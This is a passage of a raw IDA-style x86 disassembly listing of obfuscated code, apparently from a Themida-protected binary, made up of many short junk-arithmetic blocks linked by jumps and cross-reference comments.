		sub	eax, ebx
		pop	ebx
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], edx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		mov	ch, 72h
		jmp	loc_5614A1
; ---------------------------------------------------------------------------


loc_570E01:				; CODE XREF: sub_562ABA+D855j
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		push	2D05h
		jmp	loc_56BE83
; ---------------------------------------------------------------------------


loc_570E25:				; CODE XREF: sub_562ABA+1019Bj
		xor	[esp+2+var_4+2], edi
		pop	edx
		sub	edx, 64226FFDh
		mov	ecx, edx
		pop	edx
		push	ecx
		pop	eax
		mov	ecx, [esp-6+arg_0+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_56716F
; ---------------------------------------------------------------------------


loc_570E4B:				; CODE XREF: sub_562ABA+9983j
		push	381h
		mov	[esp+16h+var_16], edi
		push	esi
		jmp	loc_5666F6
; ---------------------------------------------------------------------------


loc_570E59:				; CODE XREF: sub_562ABA+13F8j
		pop	ecx
		jmp	loc_56014F
; ---------------------------------------------------------------------------


loc_570E5F:				; CODE XREF: sub_562ABA+A117j
		xchg	ecx, esi
		sub	esi, 0DF846227h
		mov	ecx, esi
		jmp	loc_56CA1A
; ---------------------------------------------------------------------------


loc_570E6E:				; CODE XREF: sub_562ABA+CD25j
		or	edx, edi
		pop	edi
		shl	edx, 7
		add	edx, 7D01861Ch
		add	esi, edx
		pop	edx
		pop	ecx
		jmp	loc_562391
; ---------------------------------------------------------------------------


loc_570E83:				; CODE XREF: sub_562ABA+6ED3j
		mov	ebp, 2D3E3C14h
		jmp	loc_5637F0
; ---------------------------------------------------------------------------


loc_570E8D:				; CODE XREF: sub_562ABA+7A6Aj
		pop	eax
		add	ebx, 4
		xor	ebx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebx
		xor	ebx, [esp+22h+var_22]
		pop	esp
		push	small 3439h
		mov	word ptr [esp+20h+var_22+2], cx
		push	eax
		mov	al, 0A7h
		xor	al, 94h
		mov	cl, al
		mov	eax, [esp+0]
		add	esp, 4
		push	263h
		mov	[esp+0], ebx
		mov	bh, 99h
		add	bh, 85h
		sub	al, bh
		pop	ebx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ch, 0DCh
		push	ebx
		mov	bh, 0F8h
		sub	al, bh
		jmp	loc_56DD86
; ---------------------------------------------------------------------------


loc_570ED5:				; CODE XREF: sub_562ABA-38j
		shr	ecx, 5
		inc	ecx
		sub	ecx, 3E38B5Fh
		and	ebp, ecx
		pop	ecx
		neg	ebp
		jmp	loc_568416
; ---------------------------------------------------------------------------


loc_570EE9:				; CODE XREF: sub_562ABA+4893j
		add	ecx, 4
		xchg	ecx, [esp+32h+var_32]
		pop	esp
		add	esp, 4
		push	[esp+2Ah+var_2C+2]
		pop	ebp
		add	esp, 4
		xor	ebx, eax
		push	eax
		push	edi
		mov	edi, 33A40A7h
		mov	eax, edi
		jmp	loc_56826E
; ---------------------------------------------------------------------------


loc_570F0D:				; CODE XREF: sub_562ABA-25E8j
		push	edi
		mov	edi, 0B694E559h
		xor	eax, edi
		jmp	loc_561DBC
; ---------------------------------------------------------------------------


loc_570F1A:				; CODE XREF: sub_562ABA-F18j
		mov	[esp+14h+var_16+2], ebp
		push	esp
		mov	ebp, [esp+18h+var_1A+2]
		jmp	loc_56EC18
; ---------------------------------------------------------------------------


loc_570F26:				; CODE XREF: sub_562ABA+1B4Ej
		sub	ebx, ecx
		pop	ecx
		push	small 5C2Fh
		mov	word ptr [esp+4+var_4],	cx
		push	edx
		jmp	loc_563E16
; ---------------------------------------------------------------------------


loc_570F37:				; CODE XREF: sub_562ABA+37CDj
		pop	ecx
		xor	ebp, [esp-14h+arg_10]
		jmp	loc_560452
; ---------------------------------------------------------------------------


loc_570F40:				; CODE XREF: sub_562ABA+1DAFj
		add	eax, edx
		pop	edx
		sub	eax, 2
		sub	esp, 4
		mov	[esp+1Eh+var_1E], eax
		push	[esp+1Eh+var_1A]
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_56812B
; ---------------------------------------------------------------------------


loc_570F60:				; CODE XREF: sub_55FCA5+49Fj
		push	esi
		push	ebx
		mov	ebx, 3D4F7230h
		shr	ebx, 5
		add	ebx, 4C6767D9h
		shl	ebx, 2
		jmp	loc_56B9B3
; ---------------------------------------------------------------------------


loc_570F78:				; CODE XREF: sub_562ABA+8336j
		xchg	eax, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		jmp	loc_56B70B
; ---------------------------------------------------------------------------


loc_570F83:				; CODE XREF: Themida_:00561244j
		push	4D37h
		mov	[esp+0], edx
		push	562Ch
		mov	[esp+32h+var_32], ebx
		push	eax
		jmp	loc_565D4A
; ---------------------------------------------------------------------------


loc_570F99:				; CODE XREF: sub_562ABA+F7C0j
		add	dword ptr [esp+8], 7CF518Ch
		jmp	loc_56A8C6
; ---------------------------------------------------------------------------


loc_570FA6:				; CODE XREF: sub_562ABA-CC7j
		shr	dl, 1
		and	dl, 9Ch
		sub	dl, 0C6h
		sub	esp, 4
		mov	[esp+3Ah+var_3A], eax
		mov	al, dl
		mov	bl, al
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		pop	edx
		push	ax
		jmp	loc_56E311
; ---------------------------------------------------------------------------


loc_570FC6:				; CODE XREF: sub_562ABA+D12Fj
		push	esp
		pop	ebx
		push	edi
		mov	edi, 0D5209B6h
		neg	edi
		shl	edi, 6
		not	edi
		sub	edi, 54826D7Bh
		add	ebx, edi
		pop	edi
		jmp	loc_56021E
; ---------------------------------------------------------------------------


loc_570FE3:				; CODE XREF: sub_562ABA+C740j
		pop	edx
		add	eax, 41D85BDDh
		push	136Ah
		mov	[esp+12h+var_12], edi
		push	esi
		mov	esi, 7BE819C1h
		mov	edi, esi
		pop	esi
		push	esi
		mov	esi, 0F81798Eh
		jmp	loc_561F3A
; ---------------------------------------------------------------------------


loc_571005:				; CODE XREF: sub_562ABA+5745j
		sub	ebp, 24381F86h
		pop	eax
		push	edi
		jmp	sub_5617E6
; ---------------------------------------------------------------------------


loc_571012:				; CODE XREF: sub_562ABA-1BFEj
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], eax
		push	5E7Bh
		push	esp
		pop	[esp+48h+var_4A+2]
		jmp	loc_55E6F8
; ---------------------------------------------------------------------------


loc_571027:				; CODE XREF: sub_562ABA-23BBj
		push	ebx
		jmp	loc_565E55
; ---------------------------------------------------------------------------


loc_57102D:				; CODE XREF: sub_562ABA+3662j
		add	esp, 4
		pop	[esp+30h+var_32+2]
		mov	esp, [esp+2Ch+var_2C]
		mov	ax, word ptr [esp+2Ch+var_2C]
		jmp	loc_56FEA9
; ---------------------------------------------------------------------------


loc_57103F:				; CODE XREF: sub_562ABA+F4D2j
		mov	ah, 0A3h
		and	ah, 0D4h
		shr	ah, 5
		inc	ah
		shr	ah, 6
		jmp	loc_569F8A
; ---------------------------------------------------------------------------


loc_571051:				; CODE XREF: sub_562ABA-4294j
		sub	esp, 4
		mov	[esp+16h+var_16], edx
		push	edi
		push	1E2D201Fh
		pop	edi
		jmp	loc_567FCF
; ---------------------------------------------------------------------------


loc_571066:				; CODE XREF: sub_562ABA+A41Aj
		sub	esp, 4
		jmp	loc_56C707
; ---------------------------------------------------------------------------


loc_571071:				; CODE XREF: sub_562ABA+9DEBj
		mov	esi, 91809E7h
		neg	esi
		push	eax
		mov	eax, 32BFF3D7h
		sub	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		sub	ebx, edi
		jmp	loc_56E863
; ---------------------------------------------------------------------------


loc_57108B:				; CODE XREF: sub_562ABA+9917j
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		xchg	ebp, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		add	esp, 4
		push	esi
		jmp	loc_5709FA
; ---------------------------------------------------------------------------


loc_5710A6:				; CODE XREF: sub_562ABA+2034j
		mov	[esp+44h+var_46+2], ecx
		mov	cl, al
		push	12Eh
		mov	[esp+48h+var_4A+2], eax
		mov	al, cl
		jmp	loc_569137
; ---------------------------------------------------------------------------


loc_5710BA:				; CODE XREF: sub_562ABA-3225j
		mov	ecx, ebp
		pop	ebp
		pop	ebx
		sub	ecx, edi
		pop	edi
		add	ecx, 5CD835F7h
		and	ecx, 1F977832h
		and	ecx, 76400709h
		shr	ecx, 4
		dec	ecx
		xor	ecx, 0C1308000h
		xor	eax, ecx
		jmp	loc_56D81A
; ---------------------------------------------------------------------------


loc_5710E4:				; CODE XREF: sub_562ABA+6EABj
		mov	edi, 49AB14CFh
		jmp	loc_56B8D1
; ---------------------------------------------------------------------------


loc_5710EE:				; CODE XREF: sub_562ABA-4262j
		xchg	ecx, [esp+0Ah+var_C+2]
		jmp	loc_560D11
; ---------------------------------------------------------------------------


loc_5710F6:				; CODE XREF: sub_562ABA+CD1Bj
		add	[esp+16h+var_16], 419E527Fh
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		sub	ebx, 419E527Fh
		pop	edx
		push	dword ptr [esp+0]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_565EFE
; ---------------------------------------------------------------------------


loc_571125:				; CODE XREF: sub_562ABA+7E96j
		add	esp, 4
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	eax
		jmp	loc_56CC68
; ---------------------------------------------------------------------------


loc_571137:				; CODE XREF: sub_562ABA-3B0Dj
		mov	edi, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_5671B1
; ---------------------------------------------------------------------------


loc_571142:				; CODE XREF: sub_562ABA+F5F8j
		pop	ecx
		add	ah, 0B2h
		sub	ah, 0C1h
		jmp	loc_5666E0
; ---------------------------------------------------------------------------


loc_57114E:				; CODE XREF: sub_562ABA+FF03j
		xor	cl, ah
		pop	eax
		push	eax
		mov	al, 0A5h
		jmp	loc_571C84
; ---------------------------------------------------------------------------


loc_571159:				; CODE XREF: sub_562ABA+E313j
		xor	eax, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		shr	ecx, 0Bh
		push	edi
		mov	edi, esp
		jmp	loc_569F95
; ---------------------------------------------------------------------------


loc_57116A:				; CODE XREF: sub_562ABA+B91Aj
		shr	edi, 8
		push	eax
		mov	eax, 973E6355h
		jmp	loc_568386
; ---------------------------------------------------------------------------


loc_571178:				; CODE XREF: sub_562ABA+D64Dj
		xor	ecx, [esp+0Ah+var_C+2]
		jmp	loc_561D6E
; ---------------------------------------------------------------------------


loc_571180:				; CODE XREF: sub_562ABA+C54Cj
		mov	ebp, 4
		add	eax, 59475ADDh
		add	eax, ebp
		sub	eax, 59475ADDh
		pop	ebp
		xor	eax, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], eax
		xor	eax, [esp+26h+var_28+2]
		pop	esp
		push	[esp+22h+var_22]
		pop	edx
		push	17F7h
		mov	[esp+26h+var_28+2], edi
		push	esp
		push	[esp+2Ah+var_2C+2]
		pop	edi
		jmp	loc_5635C5
; ---------------------------------------------------------------------------


loc_5711B2:				; CODE XREF: sub_562ABA+8B49j
		push	eax
		mov	eax, 4
		jmp	loc_56CFD7
; ---------------------------------------------------------------------------


loc_5711BD:				; CODE XREF: sub_562ABA+50Fj
		mov	ecx, 4
		sub	ebx, 50AA4EF1h
		add	ebx, ecx
		add	ebx, 50AA4EF1h
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		jmp	loc_56267E
; ---------------------------------------------------------------------------


loc_5711E2:				; CODE XREF: sub_562ABA+F283j
		mov	dl, cl
		pop	ecx
		jmp	loc_56F934
; ---------------------------------------------------------------------------


loc_5711EA:				; CODE XREF: sub_562ABA+FF18j
		mov	esp, [esp+4+var_4]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5711F2:				; CODE XREF: sub_562ABA+2F26j
		not	edx
		jmp	loc_56D781
; ---------------------------------------------------------------------------


loc_5711F9:				; CODE XREF: sub_562ABA+5491j
		mov	dh, ah
		pop	eax
		pop	ecx
		add	dh, cl
		pop	ecx
		xor	al, dh
		pop	edx
		sub	bh, al
		pop	eax
		push	bx
		mov	bl, 0CDh
		sub	al, 57h
		add	al, bl
		add	al, 57h
		mov	bx, word ptr [esp-10h+arg_C]
		add	esp, 2
		add	al, bh
		sub	al, 0CDh
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_57122C:				; CODE XREF: sub_562ABA+9223j
		pop	esp
		sub	esp, 4
		mov	[esp-12h+arg_C+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	ebx
		mov	ebx, 39F016EDh
		not	ebx
		shr	ebx, 1
		or	ebx, 71E30DBDh
		add	ebx, 55F41DCh
		sub	ebx, 45116C98h
		sub	ebx, 3435D2FDh
		mov	ebp, ebx
		pop	ebx
		jmp	loc_563278
; ---------------------------------------------------------------------------


loc_571266:				; CODE XREF: sub_562ABA-42F0j
		add	esp, 4
		push	625Bh
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 786D39CDh
		and	edx, ecx
		push	[esp+26h+var_28+2]
		pop	ecx
		jmp	loc_5677BC
; ---------------------------------------------------------------------------


loc_571284:				; CODE XREF: sub_562ABA+224j
		push	408Bh
		mov	[esp+12h+var_12], ecx
		push	esi
		push	esp
		mov	esi, [esp+1Ah+var_1A]
		add	esp, 4
		add	esi, 4
		push	ebx
		jmp	loc_56CF82
; ---------------------------------------------------------------------------


loc_5712A0:				; CODE XREF: sub_562ABA+D84Ej
		add	edi, 4
		push	559h
		mov	[esp+3Ah+var_3A], ebx
		mov	ebx, 4
		jmp	loc_563CDE
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		push	ecx
		jmp	loc_572123
; ---------------------------------------------------------------------------


loc_5712C1:				; CODE XREF: sub_562ABA+5CC6j
		push	esp
		pop	[esp+3Eh+var_3E]
		jmp	loc_572037
; ---------------------------------------------------------------------------


loc_5712CA:				; CODE XREF: sub_562ABA+A750j
		pop	esp
		mov	[esp+16h+var_16], ebp
		push	4C3h
		push	esp
		pop	[esp+1Eh+var_1E]
		add	[esp+1Ah+var_1A], 4
		jmp	loc_570D57
; ---------------------------------------------------------------------------


loc_5712E3:				; CODE XREF: sub_562ABA+7024j
		shr	eax, 6
		shr	eax, 3
		jmp	loc_5644E5
; ---------------------------------------------------------------------------


loc_5712EE:				; CODE XREF: sub_562ABA+FEEBj
		pop	[esp+36h+var_36]
		jmp	loc_56F5DE
; ---------------------------------------------------------------------------
		push	[esp+32h+var_32]
		pop	ecx
		push	4854h
		mov	[esp+36h+var_36], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_57038F
; ---------------------------------------------------------------------------


loc_57130A:				; CODE XREF: sub_562ABA-59Ej
		sub	ebx, 23156822h
		add	ebx, edi
		add	ebx, 23156822h
		pop	edi
		push	eax
		mov	eax, 79F771D4h
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_56B2CB
; ---------------------------------------------------------------------------


loc_57132C:				; CODE XREF: sub_562ABA+F6Ej
		pop	esi
		xor	esi, 3C82790Dh
		jmp	loc_56947C
; ---------------------------------------------------------------------------


loc_571338:				; CODE XREF: sub_562ABA+618Cj
		mov	ebx, [esp-1Ch+arg_18]
		push	6556h
		jmp	loc_566C33
; ---------------------------------------------------------------------------


loc_571345:				; CODE XREF: sub_562ABA+CA83j
		add	ebx, 28EE40A0h
		pop	eax
		add	ebx, eax
		add	ebx, 66BE77B0h
		mov	eax, [esp-0Eh+arg_8+2]
		jmp	loc_5644ED
; ---------------------------------------------------------------------------


loc_57135C:				; CODE XREF: sub_562ABA+C949j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		push	edx
		push	4A07F14h
		pop	edx
		sub	edx, 22EA668Eh
		add	edx, 7BC11C0Eh
		push	4C56h
		mov	[esp+32h+var_32], edi
		mov	edi, edx
		mov	ecx, edi
		pop	edi
		pop	edx
		sub	[esp+2Ah+var_28+2], 45D044B1h
		sub	[esp+2Ah+var_28+2], ecx
		jmp	loc_569E43
; ---------------------------------------------------------------------------


loc_571395:				; CODE XREF: sub_562ABA+3594j
		add	ebp, 7B746520h
		sub	ebp, 79800C84h
		add	ebp, ebx
		jmp	loc_56C9B6
; ---------------------------------------------------------------------------


loc_5713A8:				; CODE XREF: sub_560EC1+1j
		mov	ebx, 63C8589Fh
		add	eax, ebx
		mov	ebx, [esp+2+var_4+2]
		add	esp, 4
		add	eax, edx
		push	edi
		mov	edi, 21716357h
		neg	edi
		shr	edi, 1
		sub	edi, 0B7EF5B5h
		sub	eax, edi
		pop	edi
		mov	edx, [esp+0]
		jmp	loc_56E1D4
; ---------------------------------------------------------------------------


loc_5713D5:				; CODE XREF: sub_562ABA+467Cj
		push	ebp
		jmp	loc_569CE4
; ---------------------------------------------------------------------------


loc_5713DB:				; CODE XREF: sub_562ABA-1B3Fj
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], esp
		jmp	loc_56AFF0
; ---------------------------------------------------------------------------


loc_5713E6:				; CODE XREF: sub_562ABA+1487j
		push	eax
		mov	eax, 1C7B768Eh
		jmp	loc_56844A
; ---------------------------------------------------------------------------


loc_5713F1:				; CODE XREF: sub_562ABA-1FE5j
		sub	esi, 4
		xchg	esi, [esp+12h+var_12]
		jmp	loc_568EBA
; ---------------------------------------------------------------------------


loc_5713FC:				; CODE XREF: sub_562ABA+68F3j
		sub	eax, ebp
		jmp	loc_566B7C
; ---------------------------------------------------------------------------


loc_571403:				; CODE XREF: sub_562ABA+5E76j
		add	ecx, 4
		xchg	ecx, [esp+4Ah+var_4A]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_5630A3
; ---------------------------------------------------------------------------


loc_571421:				; CODE XREF: sub_562ABA+E31Cj
		mov	bh, 8Ch
		add	bh, 0F8h
		or	bh, 60h
		jmp	loc_56CED9
; ---------------------------------------------------------------------------


loc_57142E:				; DATA XREF: Themida_:0055DDCCo
		mov	cx, word ptr [esp+32h+var_32]
		jmp	loc_561A8C
; ---------------------------------------------------------------------------


loc_571437:				; CODE XREF: sub_562ABA-74Ej
		mov	[esp+4+var_4], esi
		jmp	loc_5667DE
; ---------------------------------------------------------------------------
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_565EE3
; ---------------------------------------------------------------------------


loc_571453:				; CODE XREF: sub_562ABA+B17Fj
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		add	ebp, 4D76670h
		add	ebp, ebx
		sub	ebp, 4D76670h
		pop	ebx
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], ebp
		xor	ebp, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_22], ebx
		push	2826h
		jmp	loc_56C75F
; ---------------------------------------------------------------------------


loc_57148A:				; CODE XREF: sub_562ABA+85B3j
		push	edi
		mov	edi, 4
		push	218Bh
		jmp	loc_5613B9
; ---------------------------------------------------------------------------


loc_57149A:				; CODE XREF: sub_562ABA+533Aj
		xor	ecx, 83C61316h
		mov	eax, ecx
		jmp	loc_5626DB
; ---------------------------------------------------------------------------


loc_5714A7:				; CODE XREF: sub_562ABA+F6E7j
		xor	ebp, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_56DBED
; ---------------------------------------------------------------------------


loc_5714B2:				; CODE XREF: sub_562ABA+7F66j
		xor	[esp+48h+var_4A+2], eax
		push	eax
		xor	[esp+4Ch+var_4E+2], edi
		xor	edi, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], edi
		xchg	esi, edi
		not	esi
		jmp	loc_5657EF
; ---------------------------------------------------------------------------


loc_5714C8:				; CODE XREF: sub_55FCA5+3Bj
		dec	edi
		xor	edi, 4EDD5728h
		jmp	loc_567A5C
; ---------------------------------------------------------------------------


loc_5714D4:				; CODE XREF: sub_562ABA+37D8j
		push	[esp-14h+arg_10]
		pop	ebx
		push	eax
		jmp	loc_5703CA
; ---------------------------------------------------------------------------


loc_5714DE:				; CODE XREF: sub_562ABA+6557j
		pop	ebp
		xor	edi, ecx
		push	[esp+44h+var_46+2]
		jmp	loc_56A084
; ---------------------------------------------------------------------------


loc_5714E9:				; CODE XREF: sub_562ABA+70E8j
		bts	word ptr [esp+6+var_8+2], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5714F4:				; CODE XREF: sub_562ABA+F08Fj
		and	ebx, 381F4D39h
		sub	ebx, 749743A9h
		xor	ebx, 0FB7A69B3h
		sub	eax, ebx
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	eax, 3F3D7768h
		and	eax, 604D63D1h
		jmp	loc_56CEAB
; ---------------------------------------------------------------------------


loc_57151D:				; CODE XREF: sub_562ABA+6D1Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	0
		jmp	loc_5693B2
; ---------------------------------------------------------------------------


loc_571534:				; CODE XREF: sub_562ABA-283Ej
		add	al, ch
		mov	ecx, [esp-6+arg_0+2]
		push	esi
		mov	esi, esp
		jmp	loc_565261
; ---------------------------------------------------------------------------


loc_571541:				; CODE XREF: sub_562ABA+33B0j
		pop	ebp
		add	ecx, 4
		jmp	loc_562FFA
; ---------------------------------------------------------------------------


loc_57154D:				; CODE XREF: sub_55FCA5+1EF3j
		sub	ecx, edi
		pop	edi
		pop	ebp
		add	ebx, ecx
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_563D53
; ---------------------------------------------------------------------------


loc_57155E:				; CODE XREF: sub_562ABA+FEB3j
		pop	edx
		and	edi, 1C623A6Fh
		dec	edi
		shl	edi, 7
		add	edi, 449F01B4h
		shr	edi, 1
		xor	edi, 53A5710Eh
		jmp	loc_5699EA
; ---------------------------------------------------------------------------


loc_57157C:				; CODE XREF: sub_562ABA+528Bj
		xor	ecx, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], ecx
		xor	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], ebp
		mov	ebp, 1F673736h
		add	ecx, 29E41F4Ch
		add	ecx, ebp
		jmp	loc_5681B5
; ---------------------------------------------------------------------------


loc_57159D:				; CODE XREF: sub_562ABA+CE54j
		mov	edx, 205F1CFEh
		xchg	edi, edx
		jmp	loc_56040D
; ---------------------------------------------------------------------------


loc_5715A9:				; CODE XREF: sub_562ABA+100B6j
		push	ecx
		mov	ecx, 1FBA4558h
		neg	ecx
		add	ecx, 51359860h
		jmp	loc_57224C
; ---------------------------------------------------------------------------


loc_5715BC:				; CODE XREF: sub_562ABA+1F86j
		shr	esi, 7
		push	eax
		mov	eax, 796E413Fh
		jmp	loc_55E74F
; ---------------------------------------------------------------------------


loc_5715CA:				; CODE XREF: sub_562ABA-28A9j
		pop	esi
		xor	ax, dx
		mov	dx, word ptr [esp-0Eh+arg_8+2]
		add	esp, 2
		push	ebx
		push	ax
		jmp	loc_5700E7
; ---------------------------------------------------------------------------


loc_5715E0:				; CODE XREF: sub_562ABA+372Ej
		shr	ebp, 5
		or	ebp, 5C0B6CD1h
		sub	ebp, 5644FD1h
		mov	eax, ebp
		jmp	loc_569370
; ---------------------------------------------------------------------------


loc_5715F6:				; CODE XREF: sub_56217C+19j
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		jmp	loc_567519
; ---------------------------------------------------------------------------


loc_571605:				; CODE XREF: sub_562ABA+BE9Dj
		add	[esp+32h+var_32], 5EF50F07h
		pop	ecx
		sub	ecx, 5EF50F07h
		pop	esi
		xor	ecx, 328F3D35h
		and	eax, ecx
		push	[esp+2Ah+var_2C+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 78100096h
		push	ecx
		mov	ecx, 291E593Bh
		add	ecx, 4C967C96h
		add	ecx, 7D5F0657h
		inc	ecx
		add	ecx, 6A868249h
		add	edi, ecx
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_5636B3
; ---------------------------------------------------------------------------


loc_571652:				; CODE XREF: sub_562ABA+DEEDj
		add	esp, 4
		jmp	loc_562224
; ---------------------------------------------------------------------------


loc_57165A:				; CODE XREF: sub_562ABA+CFB2j
		mov	[esp+5Ah+var_5A], eax
		push	ebx
		mov	bh, 0EDh
		sub	esp, 4
		mov	[esp+62h+var_62], edx
		mov	dl, 52h
		mov	al, dl
		pop	edx
		sub	al, bh
		mov	ebx, [esp+5Eh+var_5E]
		add	esp, 4
		add	al, 9Bh
		mov	bh, al
		jmp	loc_5662E8
; ---------------------------------------------------------------------------


loc_571682:				; CODE XREF: sub_562ABA+2B88j
		mov	edx, 533757F9h
		dec	edx
		jmp	loc_560E3C
; ---------------------------------------------------------------------------


loc_57168D:				; CODE XREF: sub_562ABA+27F4j
		add	esp, 4
		push	ebx
		pop	esi
		pop	ebx
		add	edx, 57CF32DCh
		add	edx, esi
		push	ebp
		push	5727h
		mov	[esp+36h+var_36], esi
		mov	esi, 328715C6h
		add	esi, 32732ED5h
		mov	ebp, esi
		pop	esi
		inc	ebp
		or	ebp, 62A17195h
		jmp	loc_568B59
; ---------------------------------------------------------------------------


loc_5716C1:				; CODE XREF: sub_562ABA+776Dj
		and	al, ch
		mov	cx, [esp+0]
		jmp	loc_5696FB
; ---------------------------------------------------------------------------


loc_5716CC:				; CODE XREF: sub_562ABA-47A9j
		add	ebp, 4
		push	3CFh
		mov	[esp+0], edx
		mov	edx, 6765685Fh
		jmp	loc_56E3AD
; ---------------------------------------------------------------------------


loc_5716E4:				; CODE XREF: sub_55FCA5+40Bj
		add	ebp, 4A43F1Fh
		pop	edi
		jmp	loc_56D2E1
; ---------------------------------------------------------------------------


loc_5716F0:				; CODE XREF: sub_562ABA-3EDFj
		pop	esi
		add	esp, 4
		push	4037h
		mov	[esp+0], ecx
		mov	ecx, 0
		add	ecx, 5FC16BA9h
		add	ecx, eax
		sub	ecx, 5FC16BA9h
		push	edx
		push	edi
		push	ecx
		push	150721BEh
		pop	ecx
		add	[esp+3Ah+var_36], 7A174273h
		jmp	loc_55E3E0
; ---------------------------------------------------------------------------


loc_571728:				; CODE XREF: sub_562ABA+BD3Fj
		mov	[esp+12h+var_12], ebx
		push	esp
		jmp	loc_5679E2
; ---------------------------------------------------------------------------


loc_571731:				; CODE XREF: sub_562ABA+8999j
		push	edx
		mov	edx, 3BAA63D8h
		mov	edi, 3BAA63D7h
		sub	edi, edx
		jmp	loc_572B1A
; ---------------------------------------------------------------------------


loc_571743:				; CODE XREF: sub_562ABA-3BD9j
		pop	edi
		push	340Bh
		mov	[esp+0], ebx
		push	[esp+2Eh+var_2C+2]
		push	[esp+32h+var_32]
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_56C8AA
; ---------------------------------------------------------------------------


loc_571761:				; CODE XREF: sub_562ABA+7735j
		pop	esi
		sub	edx, 75A2E9D4h
		and	eax, edx
		jmp	loc_56DEEF
; ---------------------------------------------------------------------------


loc_57176F:				; CODE XREF: sub_562ABA+BF12j
		push	esi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_56830B
; ---------------------------------------------------------------------------


loc_571781:				; CODE XREF: sub_562ABA+FE7Aj
		mov	word ptr [esp+2Ah+var_2C+2], bx
		jmp	loc_55F4E5
; ---------------------------------------------------------------------------


loc_57178A:				; CODE XREF: sub_562ABA+ADDFj
		pop	ecx
		push	ecx
		push	31E8h
		jmp	loc_560D75
; ---------------------------------------------------------------------------


loc_571796:				; CODE XREF: sub_562ABA-317Dj
		pop	ecx
		add	edx, esi
		push	[esp+0Ah+var_C+2]
		pop	esi
		add	esp, 4
		shr	edx, 8
		xor	edx, 41FE2C40h
		push	17A1h
		jmp	loc_5684EE
; ---------------------------------------------------------------------------


loc_5717B6:				; CODE XREF: sub_562ABA+6E26j
		pop	esp
		xor	edx, esi
		mov	esi, [esp-10h+arg_C]
		jmp	loc_5648D8
; ---------------------------------------------------------------------------


loc_5717C1:				; CODE XREF: sub_562ABA+CCD8j
		add	edx, ebp
		pop	ebp
		pop	ebx
		xchg	edx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ebp
		push	1D09h
		jmp	loc_568188
; ---------------------------------------------------------------------------


loc_5717DE:				; CODE XREF: sub_562ABA+CA76j
		add	esi, 0BDF785B6h
		add	edi, esi
		push	[esp+32h+var_32]
		pop	esi
		push	edx
		jmp	loc_564077
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+36h+var_36]
		push	4088h
		mov	[esp+3Ah+var_3A], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+3Eh+var_3E], edi
		mov	edi, 4
		jmp	loc_56295E
; ---------------------------------------------------------------------------


loc_571811:				; CODE XREF: sub_562ABA+BAA2j
		add	esp, 4
